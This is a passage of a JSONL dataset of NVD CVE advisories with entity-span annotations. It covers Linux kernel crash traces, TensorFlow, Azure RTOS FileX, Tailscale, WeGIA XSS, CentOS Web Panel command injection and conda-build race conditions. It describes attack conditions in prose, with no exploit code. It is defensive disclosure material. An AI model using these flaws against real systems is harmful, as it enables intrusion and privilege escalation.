{"FILEPATH: /ext4/mballoc.c": [[380, 395], [650, 665], [1433, 1448], [1497, 1512], [1553, 1568]], "FILEPATH: /26/2022": [[602, 610]], "FILEPATH: /ext4/extents.c": [[1611, 1626]], "FILEPATH: /ext4/inode.c": [[1664, 1677], [1709, 1722], [1752, 1765]], "FILEPATH: /ext4/super.c": [[1802, 1815], [2382, 2395], [2624, 2637], [2685, 2698]], "FILEPATH: /quota/quota_tree.c": [[1834, 1853], [1896, 1915], [1951, 1970], [2006, 2025], [2061, 2080], [2116, 2135], [2158, 2177], [2224, 2243]], "FILEPATH: /quota/quota_v2.c": [[2278, 2295]], "FILEPATH: /quota/dquot.c": [[2329, 2343], [2422, 2436], [2475, 2489]], "FILEPATH: /ext4/orphan.c": [[2529, 2543], [2584, 2598]], "FILEPATH: /x86/entry/common.c": [[2986, 3005], [3047, 3066]], "FILEPATH: /41/1@3735929054": [[3211, 3227]], "FILEPATH: super.c": [[2734, 2741], [2775, 2782]], "FILEPATH: namespace.c": [[2817, 2828], [2847, 2858], [2892, 2903], [2949, 2960]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[536, 542], [543, 549], [565, 571], [593, 599]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53317"}}
{"text": "TensorFlow is an open source platform for machine learning. In affected versions several TensorFlow operations are missing validation for the shapes of the tensor arguments involved in the call. Depending on the API, this can result in undefined behavior and segfault or `CHECK`-fail related crashes but in some scenarios writes and reads from heap populated arrays are also possible. We have discovered these issues internally via tooling while working on improving/testing GPU op determinism. As such, we don't have reproducers and there will be multiple fixes for these issues. These fixes will be included in TensorFlow 2.7.0. We will also cherrypick these commits on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-41206"}}
{"text": "Azure RTOS FileX is a FAT-compatible file system that’s fully integrated with Azure RTOS ThreadX. In versions before 6.2.0, the Fault Tolerant feature of Azure RTOS FileX includes integer under and overflows which may be exploited to achieve buffer overflow and modify memory contents. When a valid log file with correct ID and checksum is detected by the `_fx_fault_tolerant_enable` function an attempt to recover the previous failed write operation is taken by call of `_fx_fault_tolerant_apply_logs`. This function iterates through the log entries and performs required recovery operations. When properly crafted a log including entries of type `FX_FAULT_TOLERANT_DIR_LOG_TYPE` may be utilized to introduce unexpected behavior. This issue has been patched in version 6.2.0. A workaround to fix line 218 in fx_fault_tolerant_apply_logs.c is documented in the GHSA.", "spans": {"FILEPATH: fx_fault_tolerant_apply_logs.c": [[809, 839]], "VULNERABILITY: buffer overflow": [[242, 257]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-39343"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: add NULL check in xfrm_update_ae_params\n\nNormally, x->replay_esn and x->preplay_esn should be allocated at\nxfrm_alloc_replay_state_esn(...) in xfrm_state_construct(...), hence the\nxfrm_update_ae_params(...) is okay to update them. However, the current\nimplementation of xfrm_new_ae(...) allows a malicious user to directly\ndereference a NULL pointer and crash the kernel like below.\n\nBUG: kernel NULL pointer dereference, address: 0000000000000000\nPGD 8253067 P4D 8253067 PUD 8e0e067 PMD 0\nOops: 0002 [#1] PREEMPT SMP KASAN NOPTI\nCPU: 0 PID: 98 Comm: poc.npd Not tainted 6.4.0-rc7-00072-gdad9774deaf1 #8\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.o4\nRIP: 0010:memcpy_orig+0xad/0x140\nCode: e8 4c 89 5f e0 48 8d 7f e0 73 d2 83 c2 20 48 29 d6 48 29 d7 83 fa 10 72 34 4c 8b 06 4c 8b 4e 08 c\nRSP: 0018:ffff888008f57658 EFLAGS: 00000202\nRAX: 0000000000000000 RBX: ffff888008bd0000 RCX: ffffffff8238e571\nRDX: 0000000000000018 RSI: ffff888007f64844 RDI: 0000000000000000\nRBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000000 R12: ffff888008f57818\nR13: ffff888007f64aa4 R14: 0000000000000000 R15: 0000000000000000\nFS:  00000000014013c0(0000) GS:ffff88806d600000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000000000000000 CR3: 00000000054d8000 CR4: 00000000000006f0\nCall Trace:\n <TASK>\n ? __die+0x1f/0x70\n ? page_fault_oops+0x1e8/0x500\n ? __pfx_is_prefetch.constprop.0+0x10/0x10\n ? __pfx_page_fault_oops+0x10/0x10\n ? _raw_spin_unlock_irqrestore+0x11/0x40\n ? fixup_exception+0x36/0x460\n ? _raw_spin_unlock_irqrestore+0x11/0x40\n ? exc_page_fault+0x5e/0xc0\n ? asm_exc_page_fault+0x26/0x30\n ? xfrm_update_ae_params+0xd1/0x260\n ? memcpy_orig+0xad/0x140\n ? __pfx__raw_spin_lock_bh+0x10/0x10\n xfrm_update_ae_params+0xe7/0x260\n xfrm_new_ae+0x298/0x4e0\n ? __pfx_xfrm_new_ae+0x10/0x10\n ? __pfx_xfrm_new_ae+0x10/0x10\n xfrm_user_rcv_msg+0x25a/0x410\n ? __pfx_xfrm_user_rcv_msg+0x10/0x10\n ? __alloc_skb+0xcf/0x210\n ? stack_trace_save+0x90/0xd0\n ? filter_irq_stacks+0x1c/0x70\n ? __stack_depot_save+0x39/0x4e0\n ? __kasan_slab_free+0x10a/0x190\n ? kmem_cache_free+0x9c/0x340\n ? netlink_recvmsg+0x23c/0x660\n ? sock_recvmsg+0xeb/0xf0\n ? __sys_recvfrom+0x13c/0x1f0\n ? __x64_sys_recvfrom+0x71/0x90\n ? do_syscall_64+0x3f/0x90\n ? entry_SYSCALL_64_after_hwframe+0x72/0xdc\n ? copyout+0x3e/0x50\n netlink_rcv_skb+0xd6/0x210\n ? __pfx_xfrm_user_rcv_msg+0x10/0x10\n ? __pfx_netlink_rcv_skb+0x10/0x10\n ? __pfx_sock_has_perm+0x10/0x10\n ? mutex_lock+0x8d/0xe0\n ? __pfx_mutex_lock+0x10/0x10\n xfrm_netlink_rcv+0x44/0x50\n netlink_unicast+0x36f/0x4c0\n ? __pfx_netlink_unicast+0x10/0x10\n ? netlink_recvmsg+0x500/0x660\n netlink_sendmsg+0x3b7/0x700\n\nThis Null-ptr-deref bug is assigned CVE-2023-3772. And this commit\nadds additional NULL check in xfrm_update_ae_params to fix the NPD.", "spans": {"CVE_ID: CVE-2023-3772": [[2865, 2878]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[694, 698]], "VULNERABILITY: NULL pointer dereference": [[471, 495]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53147"}}
{"text": "Hyperledger Fabric is an open source permissioned distributed ledger framework. Combining two molecules to one another, called \"cross-linking\" results in a molecule with a chemical formula that is composed of all atoms of the original two molecules. In Fabric, one can take a block of transactions and cross-link the transactions in a way that alters the way the peers parse the transactions. If a first peer receives a block B and a second peer receives a block identical to B but with the transactions being cross-linked, the second peer will parse transactions in a different way and thus its world state will deviate from the first peer. Orderers or peers cannot detect that a block has its transactions cross-linked, because there is a vulnerability in the way Fabric hashes the transactions of blocks. It simply and naively concatenates them, which is insecure and lets an adversary craft a \"cross-linked block\" (block with cross-linked transactions) which alters the way peers process transactions. For example, it is possible to select a transaction and manipulate a peer to completely avoid processing it, without changing the computed hash of the block. Additional validations have been added in v2.2.14 and v2.5.5 to detect potential cross-linking issues before processing blocks. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-46132"}}
{"text": "Tailscale is software for using Wireguard and multi-factor authentication (MFA). A vulnerability identified in the implementation of Tailscale SSH starting in version 1.34.0 and prior to prior to 1.38.2 in FreeBSD allows commands to be run with a higher privilege group ID than that specified in Tailscale SSH access rules. A difference in the behavior of the FreeBSD `setgroups` system call from POSIX meant that the Tailscale client running on a FreeBSD-based operating system did not appropriately restrict groups on the host when using Tailscale SSH. When accessing a FreeBSD host over Tailscale SSH, the egid of the tailscaled process was used instead of that of the user specified in Tailscale SSH access rules.\n\nTailscale SSH commands may have been run with a higher privilege group ID than that specified in Tailscale SSH access rules if they met all of the following criteria: the destination node was a FreeBSD device with Tailscale SSH enabled; Tailscale SSH access rules permitted access for non-root users; and a non-interactive SSH session was used.\n\nAffected users should upgrade to version 1.38.2 to remediate the issue.", "spans": {"SYSTEM: FreeBSD": [[206, 213], [360, 367], [448, 455], [572, 579], [913, 920]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-28436"}}
{"text": "The previous default setting for Airflow's Experimental API was to allow all API requests without authentication, but this poses security risks to users who miss this fact. From Airflow 1.10.11 the default has been changed to deny all requests by default and is documented at https://airflow.apache.org/docs/1.10.11/security.html#api-authentication. Note this change fixes it for new installs but existing users need to change their config to default `[api]auth_backend = airflow.api.auth.backend.deny_all` as mentioned in the Updating Guide: https://github.com/apache/airflow/blob/1.10.11/UPDATING.md#experimental-api-will-deny-all-request-by-default", "spans": {"URL: https://airflow.apache.org/docs/1.10.11/security.html#api-authentication.": [[276, 349]], "URL: https://github.com/apache/airflow/blob/1.10.11/UPDATING.md#experimental-api-will-deny-all-request-by-default": [[543, 651]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-13927"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can cause undefined behavior via binding a reference to null pointer in `tf.raw_ops.RaggedTensorToVariant`. The [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/ragged_tensor_to_variant_op.cc#L129) has an incomplete validation of the splits values, missing the case when the argument would be empty. We have patched the issue in GitHub commit be7a4de6adfbd303ce08be4332554dff70362612. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/ragged_tensor_to_variant_op.cc#L129": [[233, 379]], "HASH: be7a4de6adfbd303ce08be4332554dff70362612": [[526, 566]], "ORGANIZATION: GitHub": [[512, 518]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37666"}}
{"text": "WeGIA is an open source web manager with a focus on the Portuguese language and charitable institutions. A Stored Cross-Site Scripting (XSS) vulnerability was identified in the `dependente_parentesco_adicionar.php` endpoint of the WeGIA application. This vulnerability allows attackers to inject malicious scripts into the `descricao` parameter. The injected scripts are stored on the server and executed automatically whenever the affected page is accessed by users, posing a significant security risk. The application fails to properly validate and sanitize user inputs in the `dependente_parentesco_adicionar.php` parameter. This lack of validation allows attackers to inject malicious scripts, which are then stored on the server. Whenever the affected page is accessed, the malicious payload is executed in the victim's browser, potentially compromising the user's data and system. This issue has been addressed in version 3.2.6 and all users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"FILEPATH: dependente_parentesco_adicionar.php": [[178, 213], [580, 615]], "VULNERABILITY: Cross-Site Scripting": [[114, 134]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-22616"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndst: fix races in rt6_uncached_list_del() and rt_del_uncached_list()\n\nsyzbot was able to crash the kernel in rt6_uncached_list_flush_dev()\nin an interesting way [1]\n\nCrash happens in list_del_init()/INIT_LIST_HEAD() while writing\nlist->prev, while the prior write on list->next went well.\n\nstatic inline void INIT_LIST_HEAD(struct list_head *list)\n{\n\tWRITE_ONCE(list->next, list); // This went well\n\tWRITE_ONCE(list->prev, list); // Crash, @list has been freed.\n}\n\nIssue here is that rt6_uncached_list_del() did not attempt to lock\nul->lock, as list_empty(&rt->dst.rt_uncached) returned\ntrue because the WRITE_ONCE(list->next, list) happened on the other CPU.\n\nWe might use list_del_init_careful() and list_empty_careful(),\nor make sure rt6_uncached_list_del() always grabs the spinlock\nwhenever rt->dst.rt_uncached_list has been set.\n\nA similar fix is neeed for IPv4.\n\n[1]\n\n BUG: KASAN: slab-use-after-free in INIT_LIST_HEAD include/linux/list.h:46 [inline]\n BUG: KASAN: slab-use-after-free in list_del_init include/linux/list.h:296 [inline]\n BUG: KASAN: slab-use-after-free in rt6_uncached_list_flush_dev net/ipv6/route.c:191 [inline]\n BUG: KASAN: slab-use-after-free in rt6_disable_ip+0x633/0x730 net/ipv6/route.c:5020\nWrite of size 8 at addr ffff8880294cfa78 by task kworker/u8:14/3450\n\nCPU: 0 UID: 0 PID: 3450 Comm: kworker/u8:14 Tainted: G             L      syzkaller #0 PREEMPT_{RT,(full)}\nTainted: [L]=SOFTLOCKUP\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025\nWorkqueue: netns cleanup_net\nCall Trace:\n <TASK>\n  dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120\n  print_address_description mm/kasan/report.c:378 [inline]\n  print_report+0xca/0x240 mm/kasan/report.c:482\n  kasan_report+0x118/0x150 mm/kasan/report.c:595\n  INIT_LIST_HEAD include/linux/list.h:46 [inline]\n  list_del_init include/linux/list.h:296 [inline]\n  rt6_uncached_list_flush_dev net/ipv6/route.c:191 [inline]\n  rt6_disable_ip+0x633/0x730 net/ipv6/route.c:5020\n  addrconf_ifdown+0x143/0x18a0 net/ipv6/addrconf.c:3853\n addrconf_notify+0x1bc/0x1050 net/ipv6/addrconf.c:-1\n  notifier_call_chain+0x19d/0x3a0 kernel/notifier.c:85\n  call_netdevice_notifiers_extack net/core/dev.c:2268 [inline]\n  call_netdevice_notifiers net/core/dev.c:2282 [inline]\n  netif_close_many+0x29c/0x410 net/core/dev.c:1785\n  unregister_netdevice_many_notify+0xb50/0x2330 net/core/dev.c:12353\n  ops_exit_rtnl_list net/core/net_namespace.c:187 [inline]\n  ops_undo_list+0x3dc/0x990 net/core/net_namespace.c:248\n  cleanup_net+0x4de/0x7b0 net/core/net_namespace.c:696\n  process_one_work kernel/workqueue.c:3257 [inline]\n  process_scheduled_works+0xad1/0x1770 kernel/workqueue.c:3340\n  worker_thread+0x8a0/0xda0 kernel/workqueue.c:3421\n  kthread+0x711/0x8a0 kernel/kthread.c:463\n  ret_from_fork+0x510/0xa50 arch/x86/kernel/process.c:158\n  ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:246\n </TASK>\n\nAllocated by task 803:\n  kasan_save_stack mm/kasan/common.c:57 [inline]\n  kasan_save_track+0x3e/0x80 mm/kasan/common.c:78\n  unpoison_slab_object mm/kasan/common.c:340 [inline]\n  __kasan_slab_alloc+0x6c/0x80 mm/kasan/common.c:366\n  kasan_slab_alloc include/linux/kasan.h:253 [inline]\n  slab_post_alloc_hook mm/slub.c:4953 [inline]\n  slab_alloc_node mm/slub.c:5263 [inline]\n  kmem_cache_alloc_noprof+0x18d/0x6c0 mm/slub.c:5270\n  dst_alloc+0x105/0x170 net/core/dst.c:89\n  ip6_dst_alloc net/ipv6/route.c:342 [inline]\n  icmp6_dst_alloc+0x75/0x460 net/ipv6/route.c:3333\n  mld_sendpack+0x683/0xe60 net/ipv6/mcast.c:1844\n  mld_send_cr net/ipv6/mcast.c:2154 [inline]\n  mld_ifc_work+0x83e/0xd60 net/ipv6/mcast.c:2693\n  process_one_work kernel/workqueue.c:3257 [inline]\n  process_scheduled_works+0xad1/0x1770 kernel/workqueue.c:3340\n  worker_thread+0x8a0/0xda0 kernel/workqueue.c:3421\n  kthread+0x711/0x8a0 kernel/kthread.c:463\n  ret_from_fork+0x510/0xa50 arch/x86/kernel/process.c:158\n  ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entr\n---truncated---", "spans": {"FILEPATH: /linux/list.h": [[1002, 1015], [1085, 1098], [1859, 1872], [1908, 1921]], "FILEPATH: /ipv6/route.c": [[1179, 1192], [1272, 1285], [1968, 1981], [2027, 2040], [3444, 3457], [3503, 3516]], "FILEPATH: /25/2025": [[1572, 1580]], "FILEPATH: /kasan/report.c": [[1709, 1724], [1766, 1781], [1815, 1830]], "FILEPATH: /ipv6/addrconf.c": [[2080, 2096], [2135, 2151]], "FILEPATH: /core/dev.c": [[2247, 2258], [2303, 2314], [2363, 2374], [2431, 2442]], "FILEPATH: /core/net_namespace.c": [[2473, 2494], [2539, 2560], [2594, 2615]], "FILEPATH: /x86/kernel/process.c": [[2862, 2883], [3907, 3928]], "FILEPATH: /x86/entry/entry_64.S": [[2922, 2943]], "FILEPATH: /kasan/common.c": [[3002, 3017], [3061, 3076], [3105, 3120], [3167, 3182]], "FILEPATH: /linux/kasan.h": [[3213, 3227]], "FILEPATH: /core/dst.c": [[3410, 3421]], "FILEPATH: /ipv6/mcast.c": [[3552, 3565], [3588, 3601], [3646, 3659]], "FILEPATH: /x86/entry/entr": [[3967, 3982]], "FILEPATH: dump_stack.c": [[1662, 1674]], "FILEPATH: notifier.c": [[2196, 2206]], "FILEPATH: workqueue.c": [[2646, 2657], [2718, 2729], [2770, 2781], [3691, 3702], [3763, 3774], [3815, 3826]], "FILEPATH: kthread.c": [[2816, 2825], [3861, 3870]], "FILEPATH: slub.c": [[3267, 3273], [3309, 3315], [3371, 3377]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[1506, 1512], [1513, 1519], [1535, 1541], [1563, 1569]], "VULNERABILITY: use-after-free": [[962, 976], [1046, 1060], [1130, 1144], [1224, 1238]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23004"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc/pseries: Fix dtl_access_lock to be a rw_semaphore\n\nThe dtl_access_lock needs to be a rw_sempahore, a sleeping lock, because\nthe code calls kmalloc() while holding it, which can sleep:\n\n  # echo 1 > /proc/powerpc/vcpudispatch_stats\n  BUG: sleeping function called from invalid context at include/linux/sched/mm.h:337\n  in_atomic(): 1, irqs_disabled(): 0, non_block: 0, pid: 199, name: sh\n  preempt_count: 1, expected: 0\n  3 locks held by sh/199:\n   #0: c00000000a0743f8 (sb_writers#3){.+.+}-{0:0}, at: vfs_write+0x324/0x438\n   #1: c0000000028c7058 (dtl_enable_mutex){+.+.}-{3:3}, at: vcpudispatch_stats_write+0xd4/0x5f4\n   #2: c0000000028c70b8 (dtl_access_lock){+.+.}-{2:2}, at: vcpudispatch_stats_write+0x220/0x5f4\n  CPU: 0 PID: 199 Comm: sh Not tainted 6.10.0-rc4 #152\n  Hardware name: IBM pSeries (emulated by qemu) POWER9 (raw) 0x4e1202 0xf000005 of:SLOF,HEAD hv:linux,kvm pSeries\n  Call Trace:\n    dump_stack_lvl+0x130/0x148 (unreliable)\n    __might_resched+0x174/0x410\n    kmem_cache_alloc_noprof+0x340/0x3d0\n    alloc_dtl_buffers+0x124/0x1ac\n    vcpudispatch_stats_write+0x2a8/0x5f4\n    proc_reg_write+0xf4/0x150\n    vfs_write+0xfc/0x438\n    ksys_write+0x88/0x148\n    system_call_exception+0x1c4/0x5a0\n    system_call_common+0xf4/0x258", "spans": {"FILEPATH: /proc/powerpc/vcpudispatch_stats": [[275, 307]], "FILEPATH: /linux/sched/mm.h": [[371, 388]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: IBM": [[864, 867]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56701"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of CentOS Web Panel cwp-e17.0.9.8.923. Authentication is not required to exploit this vulnerability. The specific flaw exists within ajax_dashboard.php. When parsing the service_stop parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-9726.", "spans": {"IP_ADDRESS: 0.9.8.923": [[123, 132]], "FILEPATH: ajax_dashboard.php": [[228, 246]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15609"}}
{"text": "Conda-build contains commands and tools to build conda packages. Prior to version 25.3.1, the write_build_scripts function in conda-build creates the temporary build script conda_build.sh with overly permissive file permissions (0o766), allowing write access to all users. Attackers with filesystem access can exploit a race condition to overwrite the script before execution, enabling arbitrary code execution under the victim's privileges. This risk is significant in shared environments, potentially leading to full system compromise. Even with non-static directory names, attackers can monitor parent directories for file creation events. The brief window between script creation (with insecure permissions) and execution allows rapid overwrites. Directory names can also be inferred via timestamps or logs, and automation enables exploitation even with semi-randomized paths by acting within milliseconds of detection. This issue has been patched in version 25.3.1. A workaround involves restricting conda_build.sh permissions from 0o766 to 0o700 (owner-only read/write/execute). Additionally, use atomic file creation (write to a temporary randomized filename and rename atomically) to minimize the race condition window.", "spans": {"FILEPATH: /write/execute": [[1068, 1082]], "FILEPATH: conda_build.sh": [[173, 187], [1005, 1019]], "VULNERABILITY: code execution": [[396, 410]], "VULNERABILITY: race condition": [[320, 334], [1205, 1219]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-32797"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ntcp: fix mptcp DSS corruption due to large pmtu xmit\n\nSyzkaller was able to trigger a DSS corruption:\n\n  TCP: request_sock_subflow_v4: Possible SYN flooding on port [::]:20002. Sending cookies.\n  ------------[ cut here ]------------\n  WARNING: CPU: 0 PID: 5227 at net/mptcp/protocol.c:695 __mptcp_move_skbs_from_subflow+0x20a9/0x21f0 net/mptcp/protocol.c:695\n  Modules linked in:\n  CPU: 0 UID: 0 PID: 5227 Comm: syz-executor350 Not tainted 6.11.0-syzkaller-08829-gaf9c191ac2a0 #0\n  Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/06/2024\n  RIP: 0010:__mptcp_move_skbs_from_subflow+0x20a9/0x21f0 net/mptcp/protocol.c:695\n  Code: 0f b6 dc 31 ff 89 de e8 b5 dd ea f5 89 d8 48 81 c4 50 01 00 00 5b 41 5c 41 5d 41 5e 41 5f 5d c3 cc cc cc cc e8 98 da ea f5 90 <0f> 0b 90 e9 47 ff ff ff e8 8a da ea f5 90 0f 0b 90 e9 99 e0 ff ff\n  RSP: 0018:ffffc90000006db8 EFLAGS: 00010246\n  RAX: ffffffff8ba9df18 RBX: 00000000000055f0 RCX: ffff888030023c00\n  RDX: 0000000000000100 RSI: 00000000000081e5 RDI: 00000000000055f0\n  RBP: 1ffff110062bf1ae R08: ffffffff8ba9cf12 R09: 1ffff110062bf1b8\n  R10: dffffc0000000000 R11: ffffed10062bf1b9 R12: 0000000000000000\n  R13: dffffc0000000000 R14: 00000000700cec61 R15: 00000000000081e5\n  FS:  000055556679c380(0000) GS:ffff8880b8600000(0000) knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: 0000000020287000 CR3: 0000000077892000 CR4: 00000000003506f0\n  DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n  DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n  Call Trace:\n   <IRQ>\n   move_skbs_to_msk net/mptcp/protocol.c:811 [inline]\n   mptcp_data_ready+0x29c/0xa90 net/mptcp/protocol.c:854\n   subflow_data_ready+0x34a/0x920 net/mptcp/subflow.c:1490\n   tcp_data_queue+0x20fd/0x76c0 net/ipv4/tcp_input.c:5283\n   tcp_rcv_established+0xfba/0x2020 net/ipv4/tcp_input.c:6237\n   tcp_v4_do_rcv+0x96d/0xc70 net/ipv4/tcp_ipv4.c:1915\n   tcp_v4_rcv+0x2dc0/0x37f0 net/ipv4/tcp_ipv4.c:2350\n   ip_protocol_deliver_rcu+0x22e/0x440 net/ipv4/ip_input.c:205\n   ip_local_deliver_finish+0x341/0x5f0 net/ipv4/ip_input.c:233\n   NF_HOOK+0x3a4/0x450 include/linux/netfilter.h:314\n   NF_HOOK+0x3a4/0x450 include/linux/netfilter.h:314\n   __netif_receive_skb_one_core net/core/dev.c:5662 [inline]\n   __netif_receive_skb+0x2bf/0x650 net/core/dev.c:5775\n   process_backlog+0x662/0x15b0 net/core/dev.c:6107\n   __napi_poll+0xcb/0x490 net/core/dev.c:6771\n   napi_poll net/core/dev.c:6840 [inline]\n   net_rx_action+0x89b/0x1240 net/core/dev.c:6962\n   handle_softirqs+0x2c5/0x980 kernel/softirq.c:554\n   do_softirq+0x11b/0x1e0 kernel/softirq.c:455\n   </IRQ>\n   <TASK>\n   __local_bh_enable_ip+0x1bb/0x200 kernel/softirq.c:382\n   local_bh_enable include/linux/bottom_half.h:33 [inline]\n   rcu_read_unlock_bh include/linux/rcupdate.h:919 [inline]\n   __dev_queue_xmit+0x1764/0x3e80 net/core/dev.c:4451\n   dev_queue_xmit include/linux/netdevice.h:3094 [inline]\n   neigh_hh_output include/net/neighbour.h:526 [inline]\n   neigh_output include/net/neighbour.h:540 [inline]\n   ip_finish_output2+0xd41/0x1390 net/ipv4/ip_output.c:236\n   ip_local_out net/ipv4/ip_output.c:130 [inline]\n   __ip_queue_xmit+0x118c/0x1b80 net/ipv4/ip_output.c:536\n   __tcp_transmit_skb+0x2544/0x3b30 net/ipv4/tcp_output.c:1466\n   tcp_transmit_skb net/ipv4/tcp_output.c:1484 [inline]\n   tcp_mtu_probe net/ipv4/tcp_output.c:2547 [inline]\n   tcp_write_xmit+0x641d/0x6bf0 net/ipv4/tcp_output.c:2752\n   __tcp_push_pending_frames+0x9b/0x360 net/ipv4/tcp_output.c:3015\n   tcp_push_pending_frames include/net/tcp.h:2107 [inline]\n   tcp_data_snd_check net/ipv4/tcp_input.c:5714 [inline]\n   tcp_rcv_established+0x1026/0x2020 net/ipv4/tcp_input.c:6239\n   tcp_v4_do_rcv+0x96d/0xc70 net/ipv4/tcp_ipv4.c:1915\n   sk_backlog_rcv include/net/sock.h:1113 [inline]\n   __release_sock+0x214/0x350 net/core/sock.c:3072\n   release_sock+0x61/0x1f0 net/core/sock.c:3626\n   mptcp_push_\n---truncated---", "spans": {"FILEPATH: /mptcp/protocol.c": [[336, 353], [406, 423], [701, 718], [1692, 1709], [1758, 1775]], "FILEPATH: /06/2024": [[632, 640]], "FILEPATH: /mptcp/subflow.c": [[1817, 1833]], "FILEPATH: /ipv4/tcp_input.c": [[1874, 1891], [1936, 1953], [3669, 3686], [3741, 3758]], "FILEPATH: /ipv4/tcp_ipv4.c": [[1991, 2007], [2044, 2060], [3796, 3812]], "FILEPATH: /ipv4/ip_input.c": [[2108, 2124], [2171, 2187]], "FILEPATH: /linux/netfilter.h": [[2222, 2240], [2275, 2293]], "FILEPATH: /core/dev.c": [[2333, 2344], [2397, 2408], [2449, 2460], [2495, 2506], [2528, 2539], [2587, 2598], [2936, 2947]], "FILEPATH: /linux/bottom_half.h": [[2806, 2826]], "FILEPATH: /linux/rcupdate.h": [[2868, 2885]], "FILEPATH: /linux/netdevice.h": [[2978, 2996]], "FILEPATH: /net/neighbour.h": [[3037, 3053], [3090, 3106]], "FILEPATH: /ipv4/ip_output.c": [[3157, 3174], [3198, 3215], [3265, 3282]], "FILEPATH: /ipv4/tcp_output.c": [[3326, 3344], [3373, 3391], [3426, 3444], [3494, 3512], [3561, 3579]], "FILEPATH: /net/tcp.h": [[3619, 3629]], "FILEPATH: /net/sock.h": [[3843, 3854]], "FILEPATH: /core/sock.c": [[3902, 3914], [3950, 3962]], "FILEPATH: softirq.c": [[2642, 2651], [2689, 2698], [2766, 2775]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[566, 572], [573, 579], [595, 601], [623, 629]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50083"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\naf_unix: Fix data-race around unix_tot_inflight.\n\nunix_tot_inflight is changed under spin_lock(unix_gc_lock), but\nunix_release_sock() reads it locklessly.\n\nLet's use READ_ONCE() for unix_tot_inflight.\n\nNote that the writer side was marked by commit 9d6d7f1cb67c (\"af_unix:\nannote lockless accesses to unix_tot_inflight & gc_in_progress\")\n\nBUG: KCSAN: data-race in unix_inflight / unix_release_sock\n\nwrite (marked) to 0xffffffff871852b8 of 4 bytes by task 123 on cpu 1:\n unix_inflight+0x130/0x180 net/unix/scm.c:64\n unix_attach_fds+0x137/0x1b0 net/unix/scm.c:123\n unix_scm_to_skb net/unix/af_unix.c:1832 [inline]\n unix_dgram_sendmsg+0x46a/0x14f0 net/unix/af_unix.c:1955\n sock_sendmsg_nosec net/socket.c:724 [inline]\n sock_sendmsg+0x148/0x160 net/socket.c:747\n ____sys_sendmsg+0x4e4/0x610 net/socket.c:2493\n ___sys_sendmsg+0xc6/0x140 net/socket.c:2547\n __sys_sendmsg+0x94/0x140 net/socket.c:2576\n __do_sys_sendmsg net/socket.c:2585 [inline]\n __se_sys_sendmsg net/socket.c:2583 [inline]\n __x64_sys_sendmsg+0x45/0x50 net/socket.c:2583\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x3b/0x90 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x72/0xdc\n\nread to 0xffffffff871852b8 of 4 bytes by task 4891 on cpu 0:\n unix_release_sock+0x608/0x910 net/unix/af_unix.c:671\n unix_release+0x59/0x80 net/unix/af_unix.c:1058\n __sock_release+0x7d/0x170 net/socket.c:653\n sock_close+0x19/0x30 net/socket.c:1385\n __fput+0x179/0x5e0 fs/file_table.c:321\n ____fput+0x15/0x20 fs/file_table.c:349\n task_work_run+0x116/0x1a0 kernel/task_work.c:179\n resume_user_mode_work include/linux/resume_user_mode.h:49 [inline]\n exit_to_user_mode_loop kernel/entry/common.c:171 [inline]\n exit_to_user_mode_prepare+0x174/0x180 kernel/entry/common.c:204\n __syscall_exit_to_user_mode_work 